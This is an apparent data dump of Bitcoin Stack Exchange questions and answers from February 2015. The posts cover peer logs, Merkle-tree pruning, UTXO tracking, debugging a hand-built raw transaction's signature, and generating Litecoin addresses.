  <row Id="36099" PostTypeId="2" ParentId="36095" CreationDate="2015-02-18T03:10:37.523" Score="1" Body="&lt;p&gt;In the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35938/where-does-multibit-keep-its-data-directory&quot;&gt;Multibit data directory&lt;/a&gt;, there is a file called &lt;code&gt;log/multibit.log&lt;/code&gt;. When you connect to a peer, it will write something like this to the log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;20:01:26.124 [bitcoinj user thread] DEBUG o.m.c.b.BitcoinPeerEventListener - Connected to peer:&#xA;client version: 70002&#xA;local services: 1&#xA;time:           1424228484&#xA;my addr:        [xx.xx.xx.xx]:51127&#xA;their addr:     [xx.xx.xx.xx]:8333&#xA;sub version:    /Satoshi:0.10.0/&#xA;best height:    343977&#xA;delay tx relay: true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 'sub version' field contains the version in a human readable format. The 'client version' field contains a machine-readable protocol version.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-09-11T01:43:10.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36100" PostTypeId="1" CreationDate="2015-02-18T04:00:52.147" Score="3" ViewCount="1792" Body="&lt;p&gt;In Merkle tree, leaves are actual transactions and internal nodes are hash of their childrens. In the Bitcoin paper, Satoshi talks about pruning branches in the Merkle tree to save storage space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under what conditions can be the branches pruned? I understand that the Merkle root is used in finding POF for the block. Are there any situations where all nodes in the Merkle tree are pruned except the root?&lt;/p&gt;&#xA;" OwnerUserId="23335" LastActivityDate="2015-09-11T01:37:39.933" Title="Pruning the branches in Merkle Tree" Tags="|block|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36101" PostTypeId="2" ParentId="36100" CreationDate="2015-02-18T04:05:35.367" Score="6" Body="&lt;p&gt;Sure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A leaf (transaction) can be pruned when all of its outputs have been spent.  &lt;/li&gt;&#xA;&lt;li&gt;A node can be pruned when both of its children have been pruned.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, Bitcoin Core doesn't implement this kind of pruning. It was built on the assumption that you download and validate all blocks. Because of this, it operates in one of two modes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No pruning (the default)&lt;/li&gt;&#xA;&lt;li&gt;Don't keep old blocks or old merkle trees at all, and only track unspent outputs and their scriptPubKeys. This mode doesn't allow you to help new nodes synchronize.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-09-11T01:37:39.933" LastActivityDate="2015-09-11T01:37:39.933" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36102" PostTypeId="1" CreationDate="2015-02-18T04:30:50.143" Score="1" ViewCount="667" Body="&lt;p&gt;I'm running bitcoin-qt 0.8.6 on a different computer that has the whole blockchain downloaded. I tried putting all the blk.dat files and the index from that computer  the blocks folder in bitcoin-qt v.10 on a separate computer but it wouldn't load. I tried reindexing it but it still wouldn't load. I'm not sure if the chainstate is related to the process because I tried placing the original in the new bitcoin qt application support folder but it would cause it to crash before opening or everything would be erased upon opening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running OSX Mavericks on the original computer and Yosemite on the new one. &lt;/p&gt;&#xA;" OwnerUserId="24392" LastEditorUserId="24392" LastEditDate="2015-02-18T10:01:20.010" LastActivityDate="2015-02-19T00:37:50.977" Title="How do I copy the blockchain to a separate computer running Bitcoin Core?" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="3" ClosedDate="2018-03-18T21:31:11.567" ContentLicense="CC BY-SA 3.0" />
  <row Id="36103" PostTypeId="1" CreationDate="2015-02-18T06:51:21.407" Score="2" ViewCount="421" Body="&lt;p&gt;What is the best way to compute UTXO of any address? Do I have to traverse whole block chain each time? Is there a efficient way to compute it?&lt;/p&gt;&#xA;" OwnerUserId="23335" LastActivityDate="2015-02-18T08:22:44.693" Title="How is UTXO tracked?" Tags="|blockchain|utxo|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36104" PostTypeId="1" CreationDate="2015-02-18T07:09:43.137" Score="4" ViewCount="1776" Body="&lt;p&gt;I'm trying to port TX generation logic to a different (and unpopular) language.  I've been beating my head against this way too long and should have walked away but, well, you know, closure, and stubbornness.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/scrottie/15f2fca963d164306dcb&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's my code so far.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Blockchain.info, Electrum, and Bitcoin Core all decode my attempt at a TX into something reasonable looking, such as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&amp;quot;txid&amp;quot; : &amp;quot;49c210ae472c5b5e39447e1f6d9bc020cd0f0075cc03d919afb0857a964e1f41&amp;quot;,&#xA;&amp;quot;version&amp;quot; : 1,&#xA;&amp;quot;locktime&amp;quot; : 0,&#xA;&amp;quot;vin&amp;quot; : [&#xA;{&#xA;&amp;quot;txid&amp;quot; : &amp;quot;b097384c42a3be2730db3e3720a1806c76172b6b62b2b5ee007c2c6fd295cadf&amp;quot;,&#xA;&amp;quot;vout&amp;quot; : 1,&#xA;&amp;quot;scriptSig&amp;quot; : {&#xA;&amp;quot;asm&amp;quot; :     &amp;quot;30460221009f478737296e39bbcff2ef7c6f013acc25bea75941acd8573bcea83ca910018b022100e9bff518297fec344d6e7e42cabc5ec793c4be507af68210bdde803a8a2958ed0104d8f39341451e2e66a00ef010c815f1284bc5e3a187476aab319b2d127b7e219c9b9e68bff311c63474242a9baab34f7ddec05de2c45bd140a74a64621ccb42cb&amp;quot;,&#xA;&amp;quot;hex&amp;quot; :   &amp;quot;4930460221009f478737296e39bbcff2ef7c6f013acc25bea75941acd8573bcea83ca910018b022100e9bff518297fec344d6e7e42cabc5ec793c4be507af68210bdde803a8a2958ed014104d8f39341451e2e66a00ef010c815f1284bc5e3a187476aab319b2d127b7e219c9b9e68bff311c63474242a9baab34f7ddec05de2c45bd140a74a64621ccb42cb&amp;quot;&#xA;},&#xA;&amp;quot;sequence&amp;quot; : 4294967295&#xA;}&#xA;],&#xA;&amp;quot;vout&amp;quot; : [&#xA;{&#xA;&amp;quot;value&amp;quot; : 0.00439999,&#xA;&amp;quot;n&amp;quot; : 0,&#xA;&amp;quot;scriptPubKey&amp;quot; : {&#xA;&amp;quot;asm&amp;quot; : &amp;quot;OP_DUP OP_HASH160 7847eb9e366653aeb8857d541236fe4fd90c57e7 OP_EQUALVERIFY OP_CHECKSIG&amp;quot;,&#xA;&amp;quot;hex&amp;quot; : &amp;quot;76a9147847eb9e366653aeb8857d541236fe4fd90c57e788ac&amp;quot;,&#xA;&amp;quot;reqSigs&amp;quot; : 1,&#xA;&amp;quot;type&amp;quot; : &amp;quot;pubkeyhash&amp;quot;,&#xA;&amp;quot;addresses&amp;quot; : [&#xA;&amp;quot;1BxzF8rgXtuiPuSN8azdMJgryzQSWt4Uoj&amp;quot;&#xA;]&#xA;}&#xA;}&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Trying to sendrawtransaction in Bitcoin Core, I get &amp;quot;error -25&amp;quot;.  Reading through other StackExchange posts and Googling, the possible causes are listed as:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Reading the source code, this error is returned when AcceptToMemoryPool fails, but not when it fails because the transaction is invalid. Does debug.log emit anything when this happens?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;You get that obscure RPC error when your tx is using outputs that bitcoind never heard of.&amp;quot;  Nothing appears in ~/.bitcoin/debug.log.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Trying to send it with blockchain.info's slash pushtx service (oh, come on, is there seriously not a white list for sites I can link to?), I get &amp;quot;Script resulted in a non-true stack: []&amp;quot;, which implies that I made a mistake in my signing logic somewhere.&lt;/p&gt;&#xA;&lt;p&gt;I've walked through these:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://procbits.com/2013/08/27/generating-a-bitcoin-address-with-javascript&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://procbits.com/2013/08/27/generating-a-bitcoin-address-with-javascript&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32628/redeeming-a-raw-transaction-step-by-step-example-required&quot;&gt;Redeeming a raw transaction step by step example required&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And others, including various Ruby, Python, Java, and JavaScript implementations, but I need more than 10 reputation to post more than 2 links.  I cannot for the life of me figure out where I'm deviating.&lt;/p&gt;&#xA;&lt;p&gt;I know parts of those are out of date.  The private key I'm starting with (from Electrum) is not flagged as compressed (33 bytes after DecodeBase58Check with the last being 0x01), so the publicKey in the transaction I'm trying to draw from shouldn't be compressed either.&lt;/p&gt;&#xA;&lt;p&gt;The TX I'm trying to spend from (&lt;a href=&quot;https://blockchain.info/tx/b097384c42a3be2730db3e3720a1806c76172b6b62b2b5ee007c2c6fd295cadf&quot; rel=&quot;nofollow noreferrer&quot;&gt;b097384c42a3be2730db3e3720a1806c76172b6b62b2b5ee007c2c6fd295cadf&lt;/a&gt;, second output, aka 1) with this TX has an output script which is Pay to Public Key Hash (d9495c762aed3dba15eec648beb55a8a43b8d1bd) according to blockchain info.  The full scriptPubKey of the prevout is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 d9495c762aed3dba15eec648beb55a8a43b8d1bd OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My private key, decoded from WIF, and run through ecdsa::pub_from_priv(),  ecdsa::pub_encode(), matches that value.&lt;/p&gt;&#xA;&lt;p&gt;It seems like getting the right stuff hashed before the hash is signed into the signature would be the hard part.  I'm appending 0x01 to the signature after it comes out of ecdsa::Sign().  Before the TX is signed, it gets 01000000 appended to it.  scriptSig (the Script in the input for the TX I'm building) is &amp;quot;OP_DUP, OP_HASH160, PUSHDATA, Bitcoin address (public key hash), OP_EQUALVERIFY, OP_CHECKSIG&amp;quot; before it is signed then it becomes a varstr of the sig and the pubKey, and that decodes to reasonable looking bytecode:&lt;/p&gt;&#xA;&lt;p&gt;scriptSig:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0: OP_PUSHDATA 0x304602210094c538663c149f40929bb787d6174104a694181d063943a745e558b17d09e276022100b1812105ea6d7a8206c9019303a6459a9a2b2524b364debe69405b5d8b90c6c301&#xA;74: OP_PUSHDATA 0x04d8f39341451e2e66a00ef010c815f1284bc5e3a187476aab319b2d127b7e219c9b9e68bff311c63474242a9baab34f7ddec05de2c45bd140a74a64621ccb42cb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;scriptPubKey:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0: OP_DUP&#xA;1: OP_HASH160&#xA;2: OP_PUSHDATA 0x7847eb9e366653aeb8857d541236fe4fd90c57e7&#xA;23: OP_EQUALVERIFY&#xA;24: OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using the old scriptPubKey as the scriptSig is approximated and assumes a simple pay-to-signature rather than actually pulling the exact scriptPubKey out of the TX being drawn on, but in this simple case, they do seem to match.&lt;/p&gt;&#xA;&lt;p&gt;Here's the raw, (incorrectly?) signed TX:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0100000001dfca95d26f2c7c00eeb5b2626b2b17766c80a120373edb3027bea3424c3897b0010000008b48304502202647239b48610693967a24c7c976f0df903891113c56f50b6e3368c3f73eefb0022100e372ab8bf76ab35cba1ce6c1890fb6b27bb4d6d54f080180b46a6ecc2ae09248014104d8f39341451e2e66a00ef010c815f1284bc5e3a187476aab319b2d127b7e219c9b9e68bff311c63474242a9baab34f7ddec05de2c45bd140a74a64621ccb42cbffffffff01c0b60600000000001976a9147847eb9e366653aeb8857d541236fe4fd90c57e788ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's the code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/scrottie/15f2fca963d164306dcb&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/scrottie/15f2fca963d164306dcb&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;PrivateKey upon request (there's $1 in there).&lt;/p&gt;&#xA;&lt;p&gt;If anyone is able to dump that and figure out where I went wrong, I'd be ever so grateful.&lt;/p&gt;&#xA;" OwnerUserId="24393" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-02-19T03:57:32.933" Title="Why is my raw transaction non-canonical, getting error -25, and being rejected?" Tags="|protocol|raw|rpc-error-25|transactions|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36105" PostTypeId="2" ParentId="36104" CreationDate="2015-02-18T08:15:42.693" Score="0" Body="&lt;p&gt;Sorry, I do not use perl language and do not have perl environment installed to debug your code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;How to redeem a basic Tx?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not see step #13 where you have to append 01000000 = SIGHASH_ALL to the data you sign in your makeRawTransaction method&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-02-18T08:15:42.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36106" PostTypeId="2" ParentId="36103" CreationDate="2015-02-18T08:22:44.693" Score="1" Body="&lt;p&gt;You can parse blockchain only once and save &lt;strong&gt;all&lt;/strong&gt; utxo into database. I am not sure that it is &lt;strong&gt;best way&lt;/strong&gt; because I do not know the target of your efforts&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-02-18T08:22:44.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36107" PostTypeId="1" CreationDate="2015-02-18T09:23:54.743" Score="1" ViewCount="511" Body="&lt;p&gt;Since the output can be spend only once, I am confused by transactions containing multiple recipients. For example, if Alice transfers 5 BTC to Bob and 5 BTC to David in the same transactions. In the future, Bob refers to the Alice's transaction, also David can refer to the same transaction. I understand that outputs are numbered in Alice's transaction to Bob and Eve. Therefore the output number and transaction id Tx id uniquely determines whether there is double spend happening or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct? Is the UTXO associated with output and Tx id?&lt;/p&gt;&#xA;" OwnerUserId="23335" LastEditorUserId="2306" LastEditDate="2015-02-18T15:50:57.493" LastActivityDate="2015-02-18T20:18:19.713" Title="Using Transaction with multiple outputs" Tags="|doublespend|utxo|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36110" PostTypeId="2" ParentId="36033" CreationDate="2015-02-18T15:07:34.833" Score="0" Body="&lt;p&gt;In case anybody has similar problem in the future. It seems that my dogecoind build was somehow incomplete. node-dogecoin was trying to call methods that were not available for some reasons. Building from scratch again solved the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the log, it seems that it grows at the beginning but stabilize after a while. &lt;/p&gt;&#xA;" OwnerUserId="23138" LastActivityDate="2015-02-18T15:07:34.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36111" PostTypeId="2" ParentId="36107" CreationDate="2015-02-18T15:51:52.100" Score="1" Body="&lt;p&gt;Each transaction draws on a set of [1..n] &lt;em&gt;Unspent Transaction Outputs&lt;/em&gt; to spend. These we call the &lt;strong&gt;inputs&lt;/strong&gt; of a transaction.&lt;br&gt;&#xA;The transaction then assigns the total value of the inputs to [0..n] new &lt;em&gt;Unspent Transaction Outputs&lt;/em&gt;. Each UTXO is associated with the creating transaction and uniquely numbered among that set. The most common script that makes up a UTXO is &quot;pay-to-pubkeyhash&quot;, where an UTXO can only be spent in combination with a valid signature by it's recipient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value of the outputs must be smaller or equal to the value of the inputs. The difference of those two totals can be claimed by the miner as transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To come back to your example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction A1:&lt;br&gt;&#xA;Alice -&gt; 5BTC -&gt; Bob (Transaction A1, output 0)&lt;br&gt;&#xA;Alice -&gt; 5BTC -&gt; David (Transaction A1, output 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Alice needs to put in at least 10BTC for that transaction.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob wants to spend his money:&lt;br&gt;&#xA;Bob -&gt; spend(Transaction A1, output 0, signature) -&gt; new recipient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since each UTXO is uniquely identifiable, they cannot both try to access the same UTXO.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-02-18T15:51:52.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36112" PostTypeId="1" CreationDate="2015-02-18T16:21:22.243" Score="1" ViewCount="63" Body="&lt;p&gt;Has there been any demographic analysis of multisignature operations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, who's using them?  Is it true that multisignature operations are limited mostly to exchanges?&lt;/p&gt;&#xA;" OwnerUserId="19323" LastActivityDate="2015-02-19T22:35:40.003" Title="Multisignature Demographics" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36113" PostTypeId="1" AcceptedAnswerId="36240" CreationDate="2015-02-18T19:48:32.773" Score="8" ViewCount="3350" Body="&lt;p&gt;Bitcoin implements both a &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation&quot; rel=&quot;noreferrer&quot;&gt;peer-to-peer synchronization protocol&lt;/a&gt; (normally on port 8333) and a &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;noreferrer&quot;&gt;JSON-RPC API&lt;/a&gt; (normally on port 8332).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What are these designed to accomplish?&lt;/li&gt;&#xA;&lt;li&gt;If I'm trying to implement a wallet that doesn't need bitcoind to be installed to work, which one should I use?&lt;/li&gt;&#xA;&lt;li&gt;What existing libraries implement the low-level details of these protocols?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5757/what-is-the-difference-between-the-rpc-port-8332-and-port-8333&quot;&gt;What is the difference between the rpc port 8332 and port 8333?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-02-27T16:54:27.420" Title="What's the difference between the Bitcoin's peer to peer protocol and the RPC API?" Tags="|json-rpc|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36114" PostTypeId="2" ParentId="4137" CreationDate="2015-02-18T19:49:31.203" Score="0" Body="&lt;p&gt;You can also do it online. For example here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://brainwallet.github.io/#verify&quot; rel=&quot;nofollow&quot;&gt;https://brainwallet.github.io/#verify&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4726" LastActivityDate="2015-02-18T19:49:31.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36115" PostTypeId="2" ParentId="36107" CreationDate="2015-02-18T20:09:39.470" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the UTXO associated with output and Tx id?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you're exactly right, each UTXO is basically just a tuple (txid, output_index). Then when that output is going to be spent, you refer to it by listing the tuple as an input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, that's why they're called &quot;Unspent Transaction Outputs&quot; (UTXOs), not &quot;Unspent Transactions&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, look at this random transaction output I pulled of of the block chain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txid: 564bb87efc20751dde182b678e848ceaa75ac54fd2eab33808842f40e953f7e6&#xA;output: 1&#xA;scriptPubKey: 76a9148ab215e3d638357551f5e6e7e3384b56bb355a6c88ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that 1 is the index, meaning it's actually the second output)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when the transaction is spent, the input references this previously unspent transaction output. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ID of spending TX: 57149f629790e61a5fbab9e27041858ada6348aa17323c15b9da9659b90717bb&#xA;input:&#xA;  &quot;txid&quot; : &quot;564bb87efc20751dde182b678e848ceaa75ac54fd2eab33808842f40e953f7e6&quot;,&#xA;  &quot;vout&quot; : 1,&#xA;  &quot;scriptSig&quot;: 48304502205b6d49f0e473e5b6134c9ba55dcfdd9e010a226fb29f89e9f4ff1a2b568a1d4c022100af290372ed889ffff948662d7a5b1f2d6eb29dbdcad260ab53f99aba6b6e46e50121020f4db25f5bd35cb2c541ecdbcdb0e7c0be890cb4e25895612f8a1cbb32216ff0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-02-18T20:18:19.713" LastActivityDate="2015-02-18T20:18:19.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36116" PostTypeId="2" ParentId="36104" CreationDate="2015-02-18T22:13:41.433" Score="1" Body="&lt;p&gt;%&amp;amp;@!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixed it with this change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$privateKey = $privateKey-&amp;gt;as_hex();  $privateKey =~ s{^0x}{} or die;&#xA;warn sprintf &quot;doing: python sig.py  '%s' '%s'\n&quot;, $privateKey, to_hex($s256);&#xA;open my $python, '-|', 'python', 'sig.py', $privateKey, to_hex($s256) or die $!;&#xA;my $sig = readline $python;&#xA;warn &quot;python says for sig: $sig\n&quot;;&#xA;$sig =~ s{[^0-9a-fA-F]}{}g;&#xA;$sig = from_hex($sig);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And adding this file as sig.py:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ecdsa&#xA;import ecdsa.der&#xA;import ecdsa.util&#xA;&#xA;import sys&#xA;&#xA;privateKey = sys.argv[1]&#xA;s256 = sys.argv[2]&#xA;&#xA;# print(&quot;privateKey len: &quot;);  print(len(privateKey.decode('hex')))&#xA;# print(privateKey)&#xA;&#xA;# print(&quot;s256 len: &quot;);  print(len(s256.decode('hex')))&#xA;# print(s256)&#xA;&#xA;sk = ecdsa.SigningKey.from_string(privateKey.decode('hex'), curve=ecdsa.SECP256k1)&#xA;sig = sk.sign_digest(s256.decode('hex'), sigencode=ecdsa.util.sigencode_der) + '\01' # 01 is hashtype&#xA;print sig.encode('hex')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm new here and I'm apparently trolling myself.  I couldn't get the modules on CPAN that interface with openssl to work so I had one option for EC library, something written in pure Perl.  That apparently has problems, even though it's unit tests pass.  Or I was using it wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That resulted in output that made &lt;a href=&quot;https://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pushtx&lt;/a&gt; say &quot;Transaction Submitted&quot;.  And then coins moved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone who stopped to give this an eyeball.  I owe you a beer.  I'll try to play it forward with very, very good comments and docs.&lt;/p&gt;&#xA;" OwnerUserId="24393" LastActivityDate="2015-02-18T22:13:41.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36117" PostTypeId="1" AcceptedAnswerId="36125" CreationDate="2015-02-18T22:50:51.353" Score="8" ViewCount="1386" Body="&lt;p&gt;In my wallet, I have bitcoins belonging to three different addresses.  I want to send the bitcoins from one of those addresses elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is made easier, perhaps, by the fact that the balance of that one address arrived in a single transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way for me to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16836" LastEditorUserId="5406" LastEditDate="2017-12-24T22:04:33.350" LastActivityDate="2017-12-24T22:04:33.350" Title="Electrum Wallet - Is it possible to specify inputs in new transaction?" Tags="|electrum|coin-control|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36119" PostTypeId="1" AcceptedAnswerId="36124" CreationDate="2015-02-19T00:41:18.393" Score="3" ViewCount="1860" Body="&lt;p&gt;I found this C# tool to generate addresses for Bitcoin (compressed and uncompressed):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Address_Utility&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin_Address_Utility&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/casascius/Bitcoin-Address-Utility&quot; rel=&quot;nofollow&quot;&gt;https://github.com/casascius/Bitcoin-Address-Utility&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works perfectly for Bitcoin, but for Litecoin it seems not to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to use similar code to generate Litecoin Addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="24403" LastEditorUserId="24403" LastEditDate="2015-02-19T00:47:42.843" LastActivityDate="2015-02-19T06:34:58.570" Title="How to generate a Litecoin Private key and correspondent Public Address in C#" Tags="|blockchain|litecoin|cryptography|c#|.net|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36120" PostTypeId="2" ParentId="36090" CreationDate="2015-02-19T04:10:58.033" Score="0" Body="&lt;p&gt;@Rich Apodaca, i believe that you may have answered your question somehow, as you pointed out that it was mostly a minor incompatibility of installed versions of bitcoind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you will agree with me that hardfork would have to be an incompatibility of design between two versions of the same protocol. Take for instance one altcoin, like FeatherCoin, that abandoned their previous algorithm for Proof of Work to adopt another one, ASIC-resistant, and incompatible with the past one.&lt;/p&gt;&#xA;" OwnerUserId="24386" LastActivityDate="2015-02-19T04:10:58.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36121" PostTypeId="2" ParentId="22796" CreationDate="2015-02-19T04:20:35.417" Score="0" Body="&lt;p&gt;Bitcoin is several things at the same time. So, someone could be interested in it for several reasons. For instance, you could be in it to learn about academic cryptography, to learn about networking, economy, or even just to make money. Some would even say that Bitcoin has also a political side, as it interferes with the way money circulates in our societies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You got to make your choice and try to focus on it. The beauty of Bitcoin is that even when you focus in a sole part of it, there's a huge benefit in learning a little about the other parts, as they're all interconnected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck, and keep posting your doubts to this forum, as lots of great information can be found here. And please don't forget to share your findings with the rest of the community.&lt;/p&gt;&#xA;" OwnerUserId="24386" LastEditorUserId="2306" LastEditDate="2015-02-19T04:32:17.933" LastActivityDate="2015-02-19T04:32:17.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
